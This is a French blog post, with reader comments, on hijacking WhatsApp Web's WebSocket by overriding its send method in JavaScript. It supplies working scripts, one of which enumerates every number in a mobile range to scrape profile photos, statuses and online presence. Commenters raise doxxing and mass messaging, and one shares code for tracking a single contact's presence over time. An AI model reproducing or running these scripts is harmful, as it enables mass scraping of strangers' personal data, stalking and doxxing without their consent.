{WhatsApp} – Petit « Hack » qui permet d’exploiter les fonctions de l’application | Dyrk

{WhatsApp} – Petit « Hack » qui permet d’exploiter les fonctions de l’application | Dyrk




{WhatsApp} – Petit « Hack » qui permet d’exploiter les fonctions de l’application

 

Coucou Ă  tous,

 

Cela fait 1 an et demi que ma frangine vit aux States ... et pour tout vous avouez je n'ai pas réussi à lui faire abandonner son outil de communication "WhatsApp" !
J'ai donc dû me résoudre à "essayer" cette application appartenant à Facebook ...
Comme je vous le dis souvent, mes articles viennent souvent de mes expériences personnelles ... ainsi donc, en communiquant au travers de "WhatsApp" avec ma petite soeur, j'ai été tenté de voir ce qu'on pouvait en tirer !

Respect de la vie privĂ©e & WhatsApp

Un truc qui me gĂȘne avec cette application c'est que vous pouvez ajouter Ă  votre annuaire, n'importe quel numĂ©ro de mobile que vous aurez inventĂ©, et vous aurez environ 7 chances sur 10 d'avoir un vrai compte WhatsApp associĂ© Ă  ce numĂ©ro ... soit  une photo de profil, une disponibilitĂ©, et un statut !!!

La plupart des gens laissent les paramÚtres par défaut ... il est possible de masquer votre photo de profil, statut & dispo aux personnes qui ne vous ont pas dans leurs annuaires dans vos paramÚtres.

Ça peut paraĂźtre bĂȘte ... mais s'il y avait un moyen d'automatiser la rĂ©cupĂ©ration de ces informations ... ça pourrait trĂšs rapidement devenir un Tinder :D

Analyse de l'application WhatsApp

J'ai d'abord regardé s'il existait une API pour les développeurs, un truc gratos de préférence.
Mais je n'ai trouvé que des projets abandonnés ou instables à droite à gauche, et une API "Business" que je n'ai pas essayé (si certains l'ont fait, je vous invite à partager votre expérience en commentaire)

Je me suis donc mis Ă  Ă©plucher un peu cette application :

Sur la partie "mobile", je n'ai pas vraiment réussi à récupérer d'informations utiles ...
Mais saviez-vous qu'il était possible d'utiliser la version Web (à condition d'avoir connecté votre application mobile à celle-ci)
Et c'est clairement plus facile de voir le fonctionnement sur la version  Web que sur l'application.

Tout se passe via un WebSocket !
Mais qu'est-ce que c'est ?!?

Pour faire simple, ceux qui ont l'habitude de regarder dans l'onglet network de la console dĂ©veloppeur du navigateur (touche F12 de votre clavier), vous voyez souvent des requĂȘtes simples GET ou POST
votre navigateur fait une demande et reçoit une rĂ©ponse du serveur, et la discussion s'arrĂȘte.

Un WebSocket c'est  un peu le mĂȘme principe, sauf qu'il peut y avoir un nombre indĂ©fini de demande et de rĂ©ponse (c'est le dĂ©veloppeur qui gĂšre), avant que la discussion ne s'arrĂȘte.

Si vous accĂ©dez Ă  l'application Web de WhatsApp, que vous ouvrez la console dĂ©veloppeur avec la touche F12 et que vous vous rendez dans l'onglet Network, vous pourrez apercevoir un "WebSocket"

Vous trouverez le socket dans la colonne "name" sous le nom de ws.
Ensuite vous pourrez voir ce qui se passe en "background" dans l'onglet "Frame".
Si vous ĂȘtes un peu curieux est nĂ©ophyte, je vous invite Ă  garder cette console ouverte, et Ă  faire des actions, comme ouvrir une discussion, ajouter des contacts dans un groupe, charger des photos, etc ...

Par exemple, lorsque WhatsApp cherche Ă  afficher le statut d'une personne, vous devriez voir apparaĂźtre ceci :

["query","Status","<numéro de téléphone>@c.us"]

Bien entendu, <numĂ©ro de tĂ©lĂ©phone> est Ă  remplacer par le numĂ©ro de la personne dont on souhaite voir le statut.

Lorsque WhatsApp cherche à afficher la photo de profil d'un numéro de téléphone, ça sera plutÎt

["query","ProfilePicThumb","<numéro de téléphone>@c.us"]

Enfin, lorsque WhatsApp voudra afficher la disponibilité d'un numéro de téléphone (actif, inactif, ...) ça sera :

["action","presence","subscribe","<numéro de téléphone>@c.us"]

Bref, si certains veulent recenser ici toutes les actions possibles, vous pouvez le faire en commentaire, ça sera super cool pour toute la communauté "Dyrkienne"

 

Le "Hack" du fonctionnement de WhatsApp

Maintenant que nous savons comment WhatsApp récupÚre et / ou exécute certaines actions, vous vous demandez certainement, comment faire pour envoyer vos propres "instructions".

Eh bien, je n'ai pas vraiment ré-inventé la roue ...
Comme vous avez pu le lire dans certains de mes articles, sur des sujets  liĂ©s Ă  la copie de vidĂ©o ou d'audio sur des plateformes comme Deezer, Youtube, etc ... j'ai utilisĂ© encore une fois les prototypes  Javascript.

J'ai surchargé la méthode "send" des "WebSockets" en Javascript, pour pouvoir récupérer l'objet en question.

WebSocket.prototype.send = ma_Fonction_De_Vilain_Pirate

Ainsi, lorsque WhatsApp envoie un message ... hop, il rentre dans ma méthode (fonction).
Une fois dans ma fonction je copie la référence (le lien vers le socket de WhatsApp), et je peux l'utiliser à ma guise.

 

Le Script

Pour les personnes qui souhaiteraient s'amuser un peu, j'ai créé ces quelques lignes de code qui vous permettront de faire quelques expériences

/*
*
*	WhatsApp.js - Hack Api
*	(c) Dyrk.org : 2018 - 2019
*	
*	Required : You need to be on the "Web WhatsApp"'s Page
*
*	Get Status :
*	SocketHack.send(["query","Status","<phone number>@c.us"])
*
*	Get Picture :
*	SocketHack.send(["query","ProfilePicThumb","<phone number>@c.us"])
*
*	Get state : away / available
*	SocketHack.send(["action","presence","subscribe","<phone number>@c.us"])
*
*/

SocketHack = {
	socket : null,
	send:function(e){ SocketHack.socket.send('6666.--10, '+JSON.stringify(e)); },
	onReceive:function(e){ 
			/* function where you receive data */
	},
	onReady:function(){
		/* Put here your main Code */
	}
};
WebSocket.prototype.send2 = WebSocket.prototype.send;
WebSocket.prototype.send  = function(e){ 
	if (!SocketHack.socket) {
		SocketHack.socket= this; 
		this.addEventListener('message', function(e){  
			if (/6666|^s[1-9]{1},/.exec(e.data)) 
				SocketHack.onReceive(JSON.parse(e.data.replace('6666.--10,','').replace(/^s[1-9]{1},/,''))); 
		});
		console.log("SocketHack : Ready");
		SocketHack.onReady();
	}
	this.send2(e); 
}

Si vous vous posez la question de ce qu'est le "'6666.--10,'" :
WhatsApp utilise cette syntaxe avant chaque message qu'il envoie ou reçoit.
C'est un "identifiant" afin de pouvoir Ă©tablir une correspondance entre les messages

 - Bonjour, je suis la requĂȘte 123, je souhaiterais rĂ©cupĂ©rer la photo de profile du 065254....


- Ici le serveur, rĂ©ponse Ă  la requĂȘte 456, le statut de l'utilisateur est "Bob Marley c'est mwa !"


- Ici le serveur, rĂ©ponse Ă  la requĂȘte 123, la photo est la suivante : https://www.whatsapp....

- Bonjour je suis la requĂȘte 789, je souhaiterais savoir si le 074521... est disponible

J'ai mis "'6666.--10,'" pour identifier les rĂ©ponses que vous recevrez aux requĂȘtes que vous feriez avec mon script, mais aprĂšs vous pouvez l'adapter Ă  votre guise.

 

Petit exemple Ă  la Tinder 

Dans le paragraphe d'avant, je vous partage un script "neutre" que vous pourrez customiser pour y mettre ce que vous voulez.
Ici je vous propose un exemple concret, oĂč j'affiche sur la page de WhatsApp les photos de profil de tous les numĂ©ros de tĂ©lĂ©phone compris entre 0658100000 et 0658999999

 



/*
*		WhatsApp become Tinder 2.0
*		(c) 2018-2019 - Dyrk.org
*/


SocketHack = {
	socket 		: null,
	send		:function(id, e){ SocketHack.socket.send(id+JSON.stringify(e)); },
	phoneBook	: null,
	onReceive	:function(e){ 
			/*
			*	Example to display Picture
			*
			*/
				console.log('got',e)
				var raw = /([0-9]{10,14})\.\-\-10\,/.exec(e),
					item = document.createElement('div'),
					nbphone = document.createElement('div');
				item.appendChild(nbphone);
				e = JSON.parse(e.replace(/([0-9]{10,14})\.\-\-10\,/,''));
				if (!raw || !e.eurl) return -1;
				nbphone.textContent = '+'+raw[1];
				nbphone.setAttribute('style','font-size:24px;font-weight:bold;background:#000;color:#FFF;position:absolute;bottom:0px;')
				item.setAttribute('style','position:relative;width:150px;height:250px;border:1px solid black;'+
								'float:left;display:inline-block;background:url("'+e.eurl+'");background-size:100% 100%');
				SocketHack.phoneBook.appendChild(item)		
	},
	onReady	:function(){
		/*
		*	Example to get Picture from random phone
		*
		*/
		var i = 100000;
		SocketHack.phoneBook = document.createElement('div');
		SocketHack.phoneBook.setAttribute('style','position:fixed;top:0px;left:0px;z-index:9999;width:98%;height:100%;overflow:auto;');
		document.getElementsByTagName('html')[0].appendChild(SocketHack.phoneBook);
		while (i++ < 999999){
			phoneNumber = "33658"+i;
			setTimeout((function(request, phoneNumber) { 
						SocketHack.send(phoneNumber+'.--10, ',request);
			}).bind(null, ["query","ProfilePicThumb",phoneNumber+"@c.us"], phoneNumber), 150)
		}
	}
};
WebSocket.prototype.send2 = WebSocket.prototype.send;
WebSocket.prototype.send  = function(e){ 
	if (!SocketHack.socket) {
		SocketHack.socket= this; 
		this.addEventListener('message', function(e){  if (/([0-9]{10,14})\.\-\-10\,/.exec(e.data)) SocketHack.onReceive(e.data); });
		console.log("SocketHack : Ready");
		SocketHack.onReady();
	}
	this.send2(e); 
}

 

Peut-ĂȘtre y a t-il des cĂ©lĂ©britĂ©s ;)

Un usage "professionnel" ?

Cette petite "API" officieuse, vous permettra surement de vous amuser quelques minutes.
Elle est cependant limitĂ©e Ă  ĂȘtre utilisĂ© depuis la page web de WhatsApp !
Il est en revanche, tout à fait possible pour vous de créer un serveur local qui recevrait les informations et pourrait envoyer des instructions :

Conclusion

Ce "Hack" n'a rien d'exceptionnel, j'espÚre néanmoins qu'il pourra vous plaire, et que vous serez créatif dans l'usage que vous en ferez.
N’hĂ©sitez pas Ă  partager cela en commentaire.
Je vous invite en revanche, à ne pas en faire un usage malveillant, il s'agit ici d'un simple divertissement, que vous pourrez utiliser à des fins "d'expérimentations"

 

Article consultĂ© 15 284 fois dont 1 fois aujourd'hui

Partagez ce contenu

18 COMMENTS

  • Pingback: {WhatsApp} – Petit « Hack » qui permet d’exploiter les fonctions de l’application – SVNET Libre

  • Pingback: {WhatsApp} – Petit « Hack » qui permet d’exploiter les fonctions de l’application - My Tiny Tools

  • Ça impressionne quand tu vois les centaines de photos de profil (avec les nums) apparaĂźtre sur ton Ă©cran, bel article

    Cela peut bien sur aussi servir comme technique d’OSINT et pour les vicieux de doxxing, donc veillez bien Ă  protĂ©ger votre compte, on ne sait jamais.

  • Je n’ai pas d’onglet frame aprĂšs web sockets ni sur firefox ni sur chrome, j’ai ratĂ© qqchose? j’ai du mal Ă  comprendre ou tu utiliser tes scripts.

    Sinon super article!

  • TrĂšs beau boulot, comme Ă  dit BarbossHack, « Ă‡a impressionne quand tu vois les centaines de photos de profil

  • Superbe boulot !

    Est-ce que l’application web de What’s app qui bloque le nombre d’affichage ? ( je sais pas si vous avez remarquĂ© mais, chez moi il affiche env. les 1000 premiĂšres personnes qu’ils trouvent, continue sa recherche mais, ne les affiches plus)

    Y a t’il un moyen d’enregistrer ça dans un fichier HTML directement pour pallier a ce problĂšme ?

     

  • c’est juste…. impressionnant en effet…

  • Merci pour cet exemple, c’est assez fou comme dĂ©monstration.

  • Bien jouĂ© pour cette trouvaille.

    Pour ceux qui pensent aller plus loin, avec un rapide calcul on arrive Ă  1 073 741 824 possibilitĂ©s pour les numĂ©ros en 06 XX XX XX XX

    En prenant la liste des préfixes (datant de 2012) sur Wikipédia (https://fr.wikipedia.org/wiki/Liste_des_pr%C3%A9fixes_des_op%C3%A9rateurs_de_t%C3%A9l%C3%A9phonie_mobile_en_France) je suis arrivé aux nombres plus raisonnables de

    87 449 823 combinaisons pour les 06
    25 219 836 combinaisons pour les 07

    Pour un total de 112 669 659 combinaisons avec un timeout de 150 ms ça nous fait donc un temps de 195 jours d’envoi de requĂȘte (et ce temps prend pas mĂȘme en compte le temps des rĂ©ponses).

    Si l’envie vous prenait de scanner tous les 06 avec ses 1 073 741 824 combinaisons et un timeout de 150ms ça fait respectivement 1864 jours passĂ©s pour envoyer toutes vos requĂȘtes.

    Donc pour ce constituer une base de donnĂ©e exhaustive on oublie, mais ça n’enlĂšve rien Ă  la beautĂ© de la « faille »

  • Bonjour j’ai testĂ© votre script et il n’est pas mal du tout. J’aurai une question est-il possible d’envoyer un message en masse Ă  diffĂ©rents numĂ©ros ?

  • Bonjour,

    Merci pour ce code trĂšs interssant malheureusement j’y arrive pas avec SocketHack.send([« action », »presence », »subscribe », »<phone number>@c.us »])

    Pouvez-vous m’aider ? Par avance, merci

  • Bonjour BarbossHack  et merci pour ta page inspirante

    J’ai voulu adapter le scripte pour mon besoin qui est de vĂ©rifier la prĂ©sence d’un contact sur une durĂ©e dĂ©terminĂ©e (au dĂ©but je voulais 12h mais mes tests sur 3 min ne sont pas concluants…)

    Voici les problĂšmes que je rencontre:

    j’ai l’impression qu’avec mon code, j’ouvre une multitude de ws qui n’Ă©tait pas le but original
    toutes les ws crĂ©Ă©es sont vides – normal car socket = Null est toujours vrai
    je n’arrive pas Ă  me dĂ©pĂ©trer dans les Identifiants de transactions…

    Voici mon code (je suis toute nouvelle en Javascript!)

    Merci et Ă  bientĂŽt!

    Laetitia

    /*
    *
    * WhatsApp.js – Hack Api
    * (c) Dyrk.org : 2018 – 2019
    *
    * Required : You need to be on the « Web WhatsApp »‘s Page
    *
    * Get Status :
    * SocketHack.send([« query », »Status », »<phone number>@c.us »])
    *
    * Get Picture :
    * SocketHack.send([« query », »ProfilePicThumb », »<phone number>@c.us »])
    *
    * Get state : away / available
    * SocketHack.send([« action », »presence », »subscribe », »<phone number>@c.us »])
    *
    */
    var dDate = new Date();
    var dNeoDate = new Date(dDate);
    var i = 0

    SocketHack = {
    socket : null,
    send:function(id,e){ SocketHack.socket.send(id+JSON.stringify(e)); },
    onReceive:function(e){
    console.log(« test onReceive »)
    },
    onReady:function(){
    SocketHack.send([« action », »presence », »subscribe », »<je cache volontairement le numĂ©ro Ă  suivre>@c.us »])
    }
    };

    dNeoDate.setSeconds(dNeoDate.getSeconds()+180);
    console.log(dNeoDate)

    do {
    i += 1;
    console.log(i)

    WebSocket.prototype.send2 = WebSocket.prototype.send;
    WebSocket.prototype.send = function(id,e){
    if (!SocketHack.socket) {
    SocketHack.socket= this;
    this.addEventListener(‘message’, function(id,e){
    if (/([0-9]{10,14})\.\-\-10\,/.exec(e.data))
    SocketHack.onReceive(e);
    });
    console.log(« SocketHack : Ready »);
    SocketHack.onReady();
    }
    this.send2(e);
    }

    dDate.setSeconds(dDate.getSeconds()+4)

    } while (dDate.getMinutes()< dNeoDate.getMinutes());

Commentaires

Posts les plus consultés de ce blog

TOP outils de rĂ©fĂ©rencement gratuits qui valent la peine d'ĂȘtre utilisĂ©s en 2023

Les outils de rĂ©fĂ©rencement gratuits qui valent vraiment la peine d'ĂȘtre utilisĂ©s

Changement de domaine en 2023 : tout ce que vous devez savoir

Chatbot Dialogflow : Tutoriel NoCode NLP pour les spĂ©cialistes du marketing | Landbot

Revenu passif : idées pour gagner de l'argent (en dormant)

Meilleurs outils de rĂ©fĂ©rencement 🛠 organisĂ©e par Saijo George

La toolbox du growth hacker 💎 - Outils - Growthhacking.fr | CommunautĂ© française de growth hacking

Comment signer avec une maison de disques ? Voici notre guide ultime pour 2024

100 outils pour lancer sa startup sans argent (mais pas sans talent)